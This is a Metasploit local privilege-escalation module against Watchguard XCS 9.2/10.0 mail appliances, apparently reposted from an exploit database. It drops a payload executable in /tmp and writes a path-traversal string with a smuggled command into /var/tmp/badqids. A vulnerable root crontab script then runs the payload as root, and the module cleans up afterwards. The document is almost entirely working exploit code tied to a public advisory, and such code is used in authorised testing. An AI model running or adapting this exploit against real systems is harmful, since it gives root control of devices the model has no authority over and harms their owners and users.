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# Watchguard XCS FixCorruptMail Local Privilege Escalation Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit4 < Msf::Exploit::Local
# It needs 3 minutes wait time
# WfsDelay set to 180, so it should be a Manual exploit,
# to avoid it being included in automations
Rank = ManualRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Watchguard XCS FixCorruptMail Local Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called
by root's crontab which can be exploited to run a command as root within 3 minutes.
},
'Author' =>
[
'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
],
'Platform' => 'bsd',
'Arch' => ARCH_X86_64,
'SessionTypes' => ['shell'],
'Privileged' => true,
'Targets' =>
[
[ 'Watchguard XCS 9.2/10.0', { }]
],
'DefaultOptions' => { 'WfsDelay' => 180 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 29 2015'
))
end

def setup
@pl = generate_payload_exe
if @pl.nil?
fail_with(Failure::BadConfig, 'Please select a native bsd payload')
end

super
end

def check
#Basic check to see if the device is a Watchguard XCS
res = cmd_exec('uname -a')
return Exploit::CheckCode::Detected if res && res.include?('support-xcs@watchguard.com')

Exploit::CheckCode::Safe
end

def upload_payload
fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}"

write_file(fname, @pl)
return nil unless file_exist?(fname)
cmd_exec("chmod +x #{fname}")

fname
end

def exploit
print_warning('Rooting can take up to 3 minutes.')

#Generate and upload the payload
filename = upload_payload
fail_with(Failure::NotFound, 'Payload failed to upload') if filename.nil?
print_status("Payload #{filename} uploaded.")

#Sets up empty dummy file needed for privesc
dummy_filename = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
cmd_exec("touch #{dummy_filename}")
vprint_status('Added dummy file')

#Put the shell injection line into badqids
#setup_privesc = "echo "../../../../../..#{dummy_filename};#{filename}" > /var/tmp/badqids"
badqids = write_file('/var/tmp/badqids', "../../../../../..#{dummy_filename};#{filename}")
fail_with(Failure::NotFound, 'Failed to create badqids file to exploit crontab') if badqids.nil?
print_status('Badqids created, waiting for vulnerable script to be called by crontab...')
#cmd_exec(setup_privesc)

#Cleanup the files we used
register_file_for_cleanup('/var/tmp/badqids')
register_file_for_cleanup(dummy_filename)
register_file_for_cleanup(filename)
end

end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-10-11]

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